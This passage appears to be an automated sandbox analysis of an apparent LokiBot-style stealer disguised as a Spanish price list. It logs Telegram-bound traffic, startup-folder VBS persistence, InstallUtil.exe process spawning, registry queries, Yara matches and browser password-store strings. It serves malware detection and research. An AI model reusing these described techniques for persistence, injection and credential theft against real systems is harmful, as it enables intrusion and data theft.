Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/t
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp, Method.exe, 0000000A.00000002.1565214848.0000000007856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002742000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49992 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Writes or reads registry keys via WMI

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey

Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B18498 NtProtectVirtualMemory,	10_2_04B18498
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B194D0 NtResumeThread,	10_2_04B194D0
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B18490 NtProtectVirtualMemory,	10_2_04B18490
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B194C8 NtResumeThread,	10_2_04B194C8

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_02682599	1_2_02682599
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_0268B070	1_2_0268B070
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_02681F68	1_2_02681F68
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_02682640	1_2_02682640
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_0268B06D	1_2_0268B06D
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_0268B6C0	1_2_0268B6C0
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_0268B6B0	1_2_0268B6B0
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_02681F57	1_2_02681F57
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_05142018	1_2_05142018
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_0514AB3D	1_2_0514AB3D
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_071BE948	1_2_071BE948
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_071A0006	1_2_071A0006
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Code function: 1_2_071A0040	1_2_071A0040
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_01192599	10_2_01192599
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_0119B070	10_2_0119B070
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_01191F68	10_2_01191F68
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_01192640	10_2_01192640
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_0119B061	10_2_0119B061
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_0119B6B0	10_2_0119B6B0
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_0119B6C0	10_2_0119B6C0
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_01191F57	10_2_01191F57
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B12C74	10_2_04B12C74
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B14D88	10_2_04B14D88
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B12088	10_2_04B12088
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B181E8	10_2_04B181E8
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B18490	10_2_04B18490
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B1BF28	10_2_04B1BF28
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B1BF19	10_2_04B1BF19
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B12082	10_2_04B12082
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B181D9	10_2_04B181D9
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B3A430	10_2_04B3A430
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B3F030	10_2_04B3F030
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B3F58C	10_2_04B3F58C
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B3F0BF	10_2_04B3F0BF
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_04B3F020	10_2_04B3F020
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_0780E948	10_2_0780E948
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_077F0040	10_2_077F0040
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 10_2_077F0007	10_2_077F0007

Source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1383836941.0000000006480000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameKmxvzduz.dll" vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.00000000026E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1386998239.0000000007293000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGckwh.exe, vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1359936623.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehemogenia.exe vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000036B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000000.1264288016.0000000000352000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGckwh.exe, vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehemogenia.exe vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKmxvzduz.dll" vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1359126192.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004363000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKmxvzduz.dll" vs Lista de cotizaciones.exe
Source: Lista de cotizaciones.exe	Binary or memory string: OriginalFilenameGckwh.exe, vs Lista de cotizaciones.exe

Source: Lista de cotizaciones.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, G4CWslT97ZA7fY0DkjD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, G4CWslT97ZA7fY0DkjD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, G4CWslT97ZA7fY0DkjD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, G4CWslT97ZA7fY0DkjD.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp	Binary or memory string: 3@D*\AC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp0=@8
Source: InstallUtil.exe, 00000007.00000002.2528402970.0000000000440000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: 4D@*\AC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@13/27@3/3

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4052:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs"

Source: Lista de cotizaciones.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Lista de cotizaciones.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LogflusterQAhgTgYojEHEGBtvWSLSWmLvjWMaxKOwfleerer.7.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Lista de cotizaciones.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

File read: C:\Users\user\Desktop\Lista de cotizaciones.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Lista de cotizaciones.exe "C:\Users\user\Desktop\Lista de cotizaciones.exe"
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Method.exe "C:\Users\user\AppData\Roaming\Method.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\Method.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Method.exe "C:\Users\user\AppData\Roaming\Method.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: dnsapi.dll	Jump to behavior
